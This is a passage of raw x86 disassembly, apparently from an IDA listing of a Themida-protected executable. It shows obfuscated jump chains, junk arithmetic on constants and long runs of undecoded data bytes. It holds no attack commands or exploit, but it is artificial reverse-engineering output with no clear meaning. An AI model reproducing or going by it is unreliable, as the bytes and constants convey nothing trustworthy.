		dd 0C1810000h, 2, 31240C33h, 0C33240Ch,	24248B24h, 9AABE9h
		dd 0E9C9FE00h, 7D8Eh
; ---------------------------------------------------------------------------


loc_5468BC:				; CODE XREF: Themida_:0054F272j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_54FC88
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E2895204h, 0FFECACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5468D5:				; CODE XREF: Themida_:005496BEj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	4329h
		mov	[esp], esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_54EEC0
; ---------------------------------------------------------------------------
a1Sem		db '1вИ┘M',0
		align 2


loc_5468F6:				; CODE XREF: Themida_:0054EEDEj
		pop	esp
		mov	[esp], ebp
		jmp	loc_545761
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9F1F766h, 547Bh, 4246C01h,	4244481h, 639C335Eh, 0E9242C8Bh
		dd 9625h, 4C381h, 0C3810000h, 4, 0E9241C87h, 3EE1h, 388B6857h
		dd 93E90000h, 0BA000049h, 1C1A6B08h, 4245401h, 0FFFC1FE9h
		dd 9EC381FFh, 8169424Fh, 1463E8C3h, 81EB8129h, 0FF702551h
		dd 0ED2AE930h, 5F54FFFFh, 4C781h, 0C7810000h, 4, 31243C33h
		dd 0EE9243Ch, 56000023h, 6B5DE957h, 0EC830000h,	241C8904h
		dd 7132D5BBh, 5E3C151h,	6434CB81h, 0CFE97F18h, 81000059h
		dd 2C5h, 242C8700h, 6624248Bh, 9C240409h, 0FFDBD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5469B1:				; CODE XREF: Themida_:005457BBj
		mov	esi, 2D2809B2h
		and	esi, 2B554486h
		add	esi, 180F0D6Eh
		add	esi, 271D7AC4h
		xor	esi, 5B46154Ch
		sub	esi, 7E1E5DB9h
		sub	esi, 74CC12BAh
		mov	ecx, esi
		jmp	loc_54A20D
; ---------------------------------------------------------------------------


loc_5469E1:				; CODE XREF: Themida_:0054B157j
		pop	edx
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		xor	ebp, 0D57FBFDCh
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_54491C
; ---------------------------------------------------------------------------


loc_546A09:				; CODE XREF: Themida_:005464FAj
		pop	esp
		mov	cx, [esp]
		push	68B9h
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		push	edi
		mov	edi, 6ED6224Fh
		add	edi, 0C80C4EE2h
		jmp	loc_54F956
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 394DE9h, 0B9515C00h, 221473F3h, 5559CE31h, 0CE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_546A45:				; CODE XREF: Themida_:00546D5Bj
		pop	eax
		jmp	loc_54D54F
; ---------------------------------------------------------------------------
		db 29h
		dd 8104247Ch, 55042444h, 5F68B71Eh, 0FFEB18E9h,	242C89FFh
		dd 0C1E9E589h, 29000015h, 9A25E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546A6E:				; CODE XREF: Themida_:00548E7Cj
		mov	ch, 67h
		sub	ch, 26h
		jmp	loc_54E35E
; ---------------------------------------------------------------------------
		dd 89243489h, 4C681E6h,	81000000h, 4ECh, 24148900h, 3D4BB53h
		dd 0CB8174EEh, 593F67h,	81D3F743h, 0FF3FFDC3h, 5BDA8974h
		dd 33FEC681h, 0D6290433h, 0A89B850h, 7E908FDh, 8B000004h
		dd 0C4832434h, 2434FF04h, 123AE95Bh, 63680000h,	89000018h
		dd 39E92404h, 0FEFFFFF5h, 0C6ED80C5h, 8059EF88h, 0E950F3F7h
		dd 6942h, 41D4E95Ch, 0EA810000h, 3F491AB5h, 7DF8F281h
		dd 0F7E97364h, 0E9FFFFE2h, 0FFFFDA8Ah, 51242C8Bh, 8904EC83h
		dd 4832424h, 0C8B0424h,	4C48324h, 208BE9h, 14896600h, 2020E924h
		dd 93680000h, 89000068h, 0AEE92434h, 8B00000Bh,	0C481242Ch
		dd 4, 0F7ECE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546B3E:				; CODE XREF: Themida_:0054C66Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	70596B11h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edi, 37997547h
		sub	edi, esi
		add	edi, 37997547h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edi, 6A6D05D6h
		jmp	loc_548583
; ---------------------------------------------------------------------------
		dw 0FA2Dh
		dd 0E93D005Dh, 7DD9h, 4C381h, 0C3830000h, 4514E904h, 4330000h
		dd 24248B24h, 6F68F9F7h, 0E9000040h, 0FFFFE9E7h, 3A0DE981h
		dd 0C8014A5Ah, 4E88359h, 0F50E9h, 357D6800h, 24890000h
		dd 24048324h, 243C8B04h, 1E97E9h, 2CF80000h, 885B664Bh
		dd 0C28058C2h, 0FFD028A2h, 148B2434h, 4C48124h,	68000000h
		dd 57C1h, 89240C89h, 4C181E1h, 81000000h, 4C1h,	240C8700h
		dd 4FEB805Ch, 504EE9h, 56E28900h, 30F0BF57h, 76E938FCh
		dd 89000056h, 4B951E0h,	1000000h, 7203E9C8h, 8B660000h
		dd 6857240Ch, 6F5Fh, 4EC81h, 24890000h,	5348E924h, 68580000h
		dd 34AEh, 68243C89h, 3D16h, 0B8240489h,	3F724973h, 47D50F2Dh
		dd 0E9C78919h, 4CD0h, 3C8BFE29h, 1D20E924h, 0C4680000h
		dd 8900007Bh, 81B9240Ch, 81702551h, 983EE6EBh, 416EE92Fh
		dd 5CF60000h, 805A0124h, 0E6C092E6h, 15C68005h,	9969E9h
		dd 2B800h, 0EA810000h, 64BB5A22h, 0C281C201h, 64BB5A22h
		dd 8324048Bh, 0FF5204C4h, 8B042474h, 0D0E92414h, 8B00001Ah
		dd 2E92424h, 0ACFFFFF8h, 865BB353h, 86D2F6D3h, 0E9CBFED3h
		dd 8AB4h, 50241489h, 91CDC68h, 4FA1E91Dh, 0FE880000h, 83241C8Bh
		dd 0FE904C4h, 66000022h, 667E0868h, 51241C89h, 9DFE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	730Bh
		mov	[esp], ebx
		mov	ebx, 15130EDEh
		inc	ebx
		jmp	loc_549646
; ---------------------------------------------------------------------------


loc_546D18:				; CODE XREF: Themida_:00544DEDj
		xor	ecx, esi
		jmp	loc_54E621
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 7603E900h, 9BB0000h, 131332Bh,	1EE95BD8h, 8100000Dh
		dd 383A0CF5h, 5DEE0147h, 7CB6E956h, 0C5830000h,	39E2E904h
		dd 0C4810000h, 4, 6826E9h
		db 0
; ---------------------------------------------------------------------------


loc_546D59:				; CODE XREF: Themida_:0054E751j
		mov	ecx, eax
		jmp	loc_546A45
; ---------------------------------------------------------------------------
		dd 3EBC6855h, 815D380Ch, 0E6EA18C5h, 5DEE89F8h,	0F681DEF7h
		dd 530547B9h, 40C6E681h, 0BF576EBEh, 1CD07BFBh,	8107E7C1h
		dd 0B9313DC7h, 81EFD161h, 2972FDC7h, 0FEBEE9B5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546D9A:				; CODE XREF: Themida_:0054AC02j
		sub	ebp, 463C28B7h
		sub	ebp, 716A1A56h
		push	ebp
		not	dword ptr [esp]
		jmp	loc_54CA97
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C24048Fh, 7B3BE9h, 88613400h, 885058C7h, 7F2268F8h
		dd 1C890000h, 50C78824h, 54EEE9h, 4C1DBF00h, 0F781702Bh
		dd 55817E0Ah, 83DFF747h, 0F781FFC7h, 298D3226h,	6D10BA52h
		dd 97E94DD2h, 0F6000040h, 2EC81D1h, 66000000h, 68240489h
		dd 61F7h, 0E9241C89h, 328Ah, 60E95345h,	20000052h, 805A66D4h
		dd 0E4C001ECh, 0E7F48002h, 48BE588h, 4344E924h,	0FA880000h
		dd 0C228585Bh, 66D03058h, 8124148Bh, 4ECh, 243C8900h, 0FFFD6CE9h
		dd 0C8B66FFh, 4EC8124h,	89000000h, 0EC83240Ch, 24248904h
		dd 4240483h, 4EC8359h, 2C64E9h,	0EF815D00h, 4, 5C243C87h
		dd 0E9243489h, 10EBh, 0C609B568h, 116DE93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546E82:				; CODE XREF: Themida_:0054C97Dj
		mov	[esp], edx
		mov	edx, 12B6478Ch
		or	edx, 5115819h
		jmp	loc_54CECE
; ---------------------------------------------------------------------------


loc_546E95:				; CODE XREF: Themida_:00545A1Dj
		dec	edx
		add	edx, 6E214238h
		or	ebp, edx
		pop	edx
		inc	ebp
		add	ebp, 38019BBh
		jmp	loc_54725B
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8702C3h, 24248B24h, 240CD366h, 0D6CCE99Ch,	7735FFFFh
		dd 290CCE39h, 875A58C6h, 895C2434h, 8B542414h, 4AE92414h
		dd 8B000092h, 0E951241Ch, 0FFFFE109h, 15AD789h,	243C8BFAh
		dd 0E904C483h, 7847h
; ---------------------------------------------------------------------------


loc_546EF0:				; CODE XREF: Themida_:0054ABCBj
		mov	edx, 75FA566Fh
		add	edx, 8C94E44h
		not	edx
		not	edx
		jmp	loc_547354
; ---------------------------------------------------------------------------
aIrvhc		db '┴ЮVh≈',27h,0
		align 4
		dd 0E9240C89h, 2AC9h, 0E941B450h, 8597h, 2B951h, 0A8E90000h
		dd 9000019h, 0E95E1C77h, 0FFFFD65Ah, 2404095Ch,	81E1E99Ch
		dd 0E95D0000h, 3541h, 24048B5Ah, 8B04C483h, 0C4832414h
		dd 7BEDE904h, 53AC0000h, 0ECC7E952h, 0F101FFFFh, 4711E9h
		dd 0D1D3F700h, 28C381E3h, 15F1620h, 7E0CE9DEh, 248B0000h
		dd 0D610E924h, 4BEFFFFh, 0F740F839h, 48EE81DEh,	1A9F4A4h
		dd 0B8505EF3h, 68D27830h, 2F0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_546F95:				; CODE XREF: Themida_:0054EDEAj
		mov	ebp, 737959C8h
		add	ebp, 5554CEFh
		jmp	loc_54C7AB
; ---------------------------------------------------------------------------
		db 68h,	61h, 31h
		dd 0C890000h, 2B924h, 0C2810000h, 32016F60h, 10BCBD55h
		dd 0E5D161B6h, 736FC581h, 0E5C16F0Fh, 5EDC104h,	59E4C581h
		dd 0C5812C35h, 3C513E96h, 295DEA29h, 0EDB951CAh, 169C462h
		dd 56E959CAh, 5800003Eh, 4244C29h, 4244481h, 0AD750AEh
		dd 403E9h, 1C8B6600h, 2C48324h,	81E38953h, 4C3h, 0A1BE5600h
		dd 0F770E250h, 1EE81DEh, 0E9000000h, 601h, 4BAFCB81h, 0A0E9369Dh
		dd 8900000Bh, 97BA2414h, 0C14C4F20h, 0B95102EAh, 5F400E3Dh
		dd 6956F181h, 0AAE90397h, 5C000086h, 348BF701h,	89E95224h
		dd 8900006Bh, 4C381E3h,	81000000h, 4EBh, 55CFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547066:				; CODE XREF: Themida_:0054761Cj
		pop	edx
		inc	ecx
		inc	ecx
		jmp	loc_54EB6A
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 5C73E9h, 0D830AC00h, 0E974B252h, 439Eh
; ---------------------------------------------------------------------------


loc_547084:				; CODE XREF: Themida_:0054E844j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, 5EB93C7Eh
		add	eax, ecx
		push	esi
		mov	esi, 13AF2AF4h
		shl	esi, 3
		sub	esi, 18285E64h
		shl	esi, 3
		or	esi, 770B6BBEh
		shl	esi, 8
		sub	esi, 3132C182h
		sub	eax, esi
		pop	esi
		pop	ecx
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5464F7
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 5F5AE9h, 5224B700h
		dd 17ACE9h, 0EDC18000h,	2858C130h, 0F03059CEh, 0D43E95Ah
		dd 5580000h, 4,	2BB53h,	0D8010000h, 101E9h, 241CF600h
		dd 0D454E99Ch, 1489FFFFh, 8B545124h, 0C483240Ch, 4C18104h
		dd 83000000h, 0C8704E9h, 4895C24h, 0F3CBE924h, 0C581FFFFh
		dd 0AA805E4Ch, 3540E9h,	89C38900h, 21585BDFh, 77FF5FF8h
		dd 2434811Ch, 27992B8Eh, 0E92434FFh, 3D2Bh, 9D1C77FFh
		dd 0D3665966h, 0E99C241Ch, 0FFFFD3FEh, 5BDE2159h, 1E87BF57h
		dd 0FE210594h, 907DE95Fh, 0C5810000h, 4, 4C581h, 2C330000h
		dd 242C3124h, 5C242C33h, 4C581h, 0B9510000h, 2,	0E959CD01h
		dd 0FFFFE4F5h, 6E04E2B0h, 0A0E9C130h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5471D3:				; CODE XREF: Themida_:0054E346j
		dec	ebx
		jmp	loc_54D9FB
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 8324048Bh, 3C8704C4h, 10E1E924h, 0C2810000h,	4, 31241433h
		dd 6E92414h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5471FB:				; CODE XREF: Themida_:0054F810j
		pop	eax
		add	esp, 4
		jmp	loc_5493F8
; ---------------------------------------------------------------------------


loc_547207:				; CODE XREF: Themida_:0054807Aj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5473CE
; ---------------------------------------------------------------------------
aPs_		db 'PИ.)',0
		dd 0BF575800h, 4, 6B55E9h, 0CD686600h, 0CF4E938h, 0E95B0000h
		dd 8D75h, 4BFh,	5FF80100h, 31240433h, 4332404h,	0BF0F5C24h
		dd 197C68C8h, 9E90000h,	2900003Fh, 0A9E95BD9h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54725B:				; CODE XREF: Themida_:00546EA6j
		add	esi, ebp
		jmp	loc_5462C2
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4, 0E9240C87h, 7768h
; ---------------------------------------------------------------------------


loc_547270:				; CODE XREF: Themida_:00544E15j
		pop	ebp
		jmp	loc_54F94E
; ---------------------------------------------------------------------------


loc_547276:				; CODE XREF: Themida_:0054D841j
		add	ebx, 4A051ABCh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 27E71DEFh
		neg	eax
		xor	eax, 37A74F6Fh
		xor	ebx, eax
		pop	eax
		xor	esi, ebx
		pop	ebx
		sub	esi, 0D866CFE6h
		sub	eax, 4D93458Dh
		add	eax, esi
		add	eax, 4D93458Dh
		pop	esi
		or	eax, eax
		jnz	loc_54EFDD
		push	esi
		push	edi
		mov	edi, 43113C5Bh
		mov	esi, edi
		pop	edi
		jmp	loc_54C79F
; ---------------------------------------------------------------------------


loc_5472C1:				; CODE XREF: Themida_:0054848Ej
		or	edi, 260B10EDh
		and	edi, 90B5897h
		xor	edi, 6CD4729Ch
		jmp	loc_54F4E8
; ---------------------------------------------------------------------------
		dd 0B775C62Dh, 58C1015Bh, 3304C183h, 0C31240Ch,	240C3324h
		dd 0BA52535Ch, 213D2744h, 0BC7E9h, 89EA8100h, 423DDB31h
		dd 1C2DC281h, 0BE56EF83h, 333B70BDh, 0FFF06BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547311:				; CODE XREF: Themida_:005484ABj
		push	eax
		jmp	loc_54CB5A
; ---------------------------------------------------------------------------


loc_547317:				; CODE XREF: Themida_:0054C86Aj
		xchg	ecx, ebx
		neg	ecx
		xchg	ecx, ebx
		xor	ebx, 813C6A4Eh
		sub	eax, ebx
		pop	ebx
		add	esi, eax
		jmp	loc_54F80D
; ---------------------------------------------------------------------------
		db 0ACh, 2Ch, 35h
		dd 7FE96304h, 8100002Ah, 65668EF2h, 59EA8163h, 8145B066h
		dd 286B97C2h, 5AD6295Eh, 0E95EF389h, 1B9h
; ---------------------------------------------------------------------------


loc_547354:				; CODE XREF: Themida_:00546EFFj
		and	edx, 790367C8h
		add	edx, 87FCDB84h
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_544838
; ---------------------------------------------------------------------------
		db 88h
		dd 5AD188C2h, 0FF2434FFh, 83582434h, 0C48104C4h, 4, 426EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547385:				; CODE XREF: Themida_:005475C5j
		mov	edx, esp
		add	edx, 4
		jmp	loc_549856
; ---------------------------------------------------------------------------
aVs		db 'VИ╪;',0
		align 4
		dd 4C481h, 0FB890000h, 0E1F1E95Fh, 0CDFEFFFFh, 0FFF726E9h
		dd 0FFC701FFh, 83582434h, 0BD5504C4h, 4, 875DEF29h, 0ADE9243Ch
		dd 88000090h, 0F42EE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5473CE:				; CODE XREF: Themida_:0054720Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	ecx, 44697FE7h
		xor	ecx, esi
		pop	esi
		push	edx
		mov	edx, 460C06D4h
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_544DE2
; ---------------------------------------------------------------------------


loc_5473F3:				; CODE XREF: Themida_:005491FEj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5466B4
; ---------------------------------------------------------------------------
		dd 4244481h, 29B370FCh,	7381E9h, 81E38900h, 4C3h, 4C38300h
		dd 0FFE4BAE9h, 5E5456FFh, 4EC81h, 0E90000h, 51FFFFFCh
		dd 296168h, 24148900h, 8815B050h, 0D18858C2h, 80D1F65Ah
		dd 0CB00ADE9h, 81240C8Bh, 4C4h,	8CC38000h, 65E468h, 241C8900h
		dd 50E9C388h, 0B6FFFFEEh, 4C3DE996h, 81590000h,	3D217FCFh
		dd 2844E96Ah, 0C8FE0000h, 450DE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54747A:				; CODE XREF: Themida_:0054F7C9j
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		jmp	loc_54A805
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 70E90000h, 0B8FFFFF0h, 303951BBh, 0C2C787BDh, 5FC58135h
		dd 29242E49h, 5FED81C5h, 58242E49h, 87BBA52h, 0D501564Fh
		dd 0FFEB295Ah, 515D2434h, 0C181E189h, 4, 9F2BB53h, 0F3813807h
		dd 54964B30h, 0EB81D3F7h, 60601332h, 6A3BB951h,	0CB012E05h
		dd 72CB8159h, 815EA733h, 48C88EC3h, 0E9D90180h,	72BEh
		dd 5432E951h, 0DA290000h, 6422C281h, 0E95B22FDh, 0FFFFD086h
		dd 5002EFC1h, 6F18E9h, 8BD80100h, 0C481241Ch, 4, 0E9240487h
		dd 0FFFFEAC1h
; ---------------------------------------------------------------------------


loc_547520:				; CODE XREF: Themida_:00545994j
		sub	eax, 663C40D4h
		jmp	loc_549C9D
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 735868h, 24148900h, 0B217B050h, 0E9C230E6h, 7E7Dh, 1E19B951h
		dd 0D9F74965h, 8E51E9h
		db 0
; ---------------------------------------------------------------------------


loc_54754D:				; CODE XREF: Themida_:0054EBBEj
		pop	eax
		jmp	loc_548775
; ---------------------------------------------------------------------------


loc_547553:				; CODE XREF: Themida_:005462CCj
		pop	esp
		jmp	loc_54B0C1
; ---------------------------------------------------------------------------
		db 21h,	0F0h, 0E9h
		dd 0FFFFED71h, 665BCB80h, 0FFB252h, 4091E9D3h, 0EB800000h
		dd 594E9F5h, 0EC830000h, 24348904h, 0BA525E54h,	4, 4E9D601h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_54758B:				; CODE XREF: Themida_:00550505j
		retn
; ---------------------------------------------------------------------------
		dd 81B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_547591:				; CODE XREF: Themida_:0054AC72j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_545BAE
; ---------------------------------------------------------------------------


loc_5475BF:				; CODE XREF: Themida_:00545791j
		and	ecx, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_547385
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0C63005B0h, 0F3285866h, 80C3005Ah, 4CE9A6C3h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5475DF:				; CODE XREF: Themida_:0054EE01j
		push	esi
		mov	esi, 53A13F91h
		jmp	loc_54EEE3
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 686602B6h, 89660C07h, 5FE92404h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5475FB:				; CODE XREF: Themida_:00547D20j
		push	edx
		mov	edx, 7C283729h
		sub	edx, 38BB0A5Eh
		inc	edx
		or	edx, 666C147Ah
		xor	edx, 23095B22h
		sub	edx, 2F63EEFAh
		mov	ecx, edx
		jmp	loc_547066
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0F6h
		dd 625C1350h, 254F681h,	91E95B29h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547633:				; CODE XREF: Themida_:00545DA9j
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		sub	eax, 572B381Ch
		add	eax, ebx
		add	eax, 572B381Ch
		jmp	loc_545DBE
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 34h
		dd 81F23A45h, 4D6813EBh, 115DE90Fh, 34FF0000h, 0EFE95A24h
		dd 4000071h, 52595A36h,	127E6850h, 14890000h, 0FDE5E924h
		dd 3E05FFFFh, 350DA53Ah, 90873FA2h, 48BC201h, 9DE95324h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54768F:				; CODE XREF: Themida_:005482C6j
		mov	edx, 51781BD4h
		jmp	loc_54B155
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 0C1h
		dd 0DDF707E5h, 0C1FFED83h, 0C58108E5h, 0A71D59A4h, 0C15DEB09h
		dd 0EB8107E3h, 0FE3F7704h, 1C8BDE89h, 7A2E924h,	0C1810000h
		dd 4B61723Ah, 2FA5E981h, 0E95D454Bh, 39E5h, 0CB35AB1h
		dd 0FFE26AE9h, 2474FFFFh, 24348B04h, 8F04C483h,	248B2404h
		dd 24D36624h, 93E99C24h, 5AFFFFCEh, 51D6E9h, 1189B900h
		dd 50BB3971h, 138F854h,	0D82959CBh, 58C1895Bh, 0C8BC801h
		dd 4C48324h, 31240433h,	4332404h, 4015C24h, 5FE99C24h
		dd 0BDFFFFCEh, 25FF1E2Bh, 14ABA52h, 0F28106A6h,	3A2D06Fh
		dd 315AD529h, 242C8BEEh, 81E68956h, 4C6h, 4C68100h, 87000000h
		dd 0ECE92434h, 81FFFFF8h, 5504246Ch, 0E968B71Eh, 0FFFFF2E3h
		dd 57240C89h, 1BFh, 13426800h, 0A7E90000h, 0DFFFFE2h, 9DE651Bh
		dd 0E470F225h, 62160568h, 0D0F758BCh, 7F2D932Dh, 58C5017Eh
		dd 36F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_547799:				; CODE XREF: Themida_:0054A423j
		not	ebx
		xchg	ebx, esi
		push	edx
		push	ecx
		mov	ecx, 341B0553h
		mov	edx, 96F7454Bh
		sub	edx, ecx
		pop	ecx
		sub	edx, 6A363C3Ah
		not	edx
		not	edx
		xor	edx, 41652466h
		add	edx, 113ACAA9h
		add	esi, edx
		pop	edx
		and	ecx, esi
		pop	esi
		shr	ecx, 7
		push	248Bh
		mov	[esp], ebx
		jmp	loc_5500D1
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 34FF2424h, 2434FF24h, 0A9E95558h,	0BD000030h
		dd 0C4303ADh, 0BCFC57BAh, 61EA81F3h, 171451Fh, 61C281EAh
		dd 0E971451Fh, 0FFFFED92h, 5BA868h, 243C8900h, 8A690ABFh
		dd 38EF8110h, 556C7C4Ch, 3054D9BDh, 534D4D1Eh, 607AE7BBh
		dd 781BE904h, 5A540000h, 457DE9h, 241C8900h, 42F0E9h, 64CF6800h
		dd 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_54D0FA
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 61FFh, 4C4815Ah,	0
		dd 24148BF7h, 0A9BE9h, 5DE98900h, 0B0CEF181h, 0C801D467h
		dd 2E91E9h, 0C8B6600h, 0E9545524h, 4FAh
; ---------------------------------------------------------------------------


loc_54788C:				; CODE XREF: Themida_:0054D4DAj
		mov	[esp], ebx
		jmp	loc_548208
; ---------------------------------------------------------------------------
		dd 0D999E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54789A:				; CODE XREF: Themida_:0054BA45j
		push	dword ptr [esp]
		jmp	loc_546812
; ---------------------------------------------------------------------------
		dw 34BEh
		dd 53093F2Ah, 1591E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	507810C0h
		pop	edi
		shr	edi, 3
		jmp	loc_5466D3
; ---------------------------------------------------------------------------
aRsrk		db '╟ЮИRk',0
		align 2
		dw 0EA81h
		dd 4A9A44C3h, 18A0EA81h, 74E92550h, 4200006Ah, 4513C281h
		dd 0BF577C47h, 61E54025h, 8106EFC1h, 0F816C1F7h, 0D9E93Dh
		dd 34310000h, 24343324h, 2849E9h, 5BD80100h, 544BE9h, 0B4BBD00h
		dd 0ED8127C4h, 399610E3h, 0E903EDC1h, 42ABh
; ---------------------------------------------------------------------------


loc_547918:				; CODE XREF: Themida_:00545F64j
		add	eax, 0E71E2DFEh
		jmp	loc_549D10
; ---------------------------------------------------------------------------
		dw 5D56h
		dd 0FFE942E9h, 240C89FFh, 16E9E5B1h, 81000049h,	0B3270DE3h
		dd 74EB817Ch, 31D450F6h, 0E8015BDDh, 6849E9h, 7C4BE00h
		dd 0F189037Bh, 5E2434FFh, 4C481h, 0C9810000h, 530B3E64h
		dd 2743F181h, 7CE949F2h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54796B:				; CODE XREF: Themida_:00545A2Cj
		mov	ecx, 3FAFAD1h
		add	edx, ecx
		pop	ecx
		jmp	loc_545B57
; ---------------------------------------------------------------------------


loc_547978:				; CODE XREF: Themida_:005467C8j
		xchg	ebx, [esp]
		pop	edx
		push	edi
		push	ecx
		jmp	loc_54AEF3
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 48E0E9h, 243C3100h, 0E9243C33h, 7227h
		dd 66E1F65Ch
		db 0Fh,	0B6h, 0CCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		push	16973DAEh
		pop	eax
		push	esi
		mov	esi, 4E0515BDh
		jmp	loc_54F89B
; ---------------------------------------------------------------------------
		dw 0BFE9h
		dd 0F7FFFFCBh, 4EFC1DFh, 0EF81EFD1h, 9986B799h,	0E95FFA29h
		dd 14E2h, 4C181h, 0C870000h, 78685C24h,	89000025h, 2EB7241Ch
		dd 161DE9h, 0C4835D00h,	0CB88E904h, 5E5EFFFFh, 3302C183h
		dd 0C31240Ch, 240C3324h, 6624248Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549458
; ---------------------------------------------------------------------------
		db 0BBh
		dd 3D0245C1h, 0DDC38143h, 0E9B1064Eh, 8B65h
; ---------------------------------------------------------------------------


loc_547A30:				; CODE XREF: Themida_:0054A60Dj
		pop	ecx
		jmp	loc_54A883
; ---------------------------------------------------------------------------
		dw 1768h
		dd 89000067h, 0B9512434h, 7A7E2E3Fh, 8159CE89h,	0FD2097E6h
		dd 6EEC138h, 0FFCCB7E9h, 0EC8359FFh, 4490E904h,	77FF0000h
		dd 59669D1Ch, 9C241CD3h, 0FFCB1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547A6D:				; CODE XREF: Themida_:0054AC8Ej
		add	esp, 4
		shl	ebx, 7
		push	ecx
		mov	ecx, 440F7B43h
		xor	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	edx
		mov	edx, 11020CBDh
		push	esi
		mov	esi, 8D03026h
		shl	esi, 6
		jmp	loc_548E0E
; ---------------------------------------------------------------------------
		db 33h
		dd 248B241Ch, 24048924h, 0FFCADDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547AAD:				; CODE XREF: Themida_:00544C7Fj
		xchg	ecx, [esp]
		jmp	loc_54CC88
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0EDh
		dd 813F1425h, 380A5CC7h, 81F72935h, 380A5CEFh, 0EDC78135h
		dd 0FF3F1425h, 815E2434h, 4C4h,	243C8700h, 0E924248Bh
		dd 10B8h, 3F7F68h, 240C8900h, 1D3AE9h, 0EF805A00h, 5BF80023h
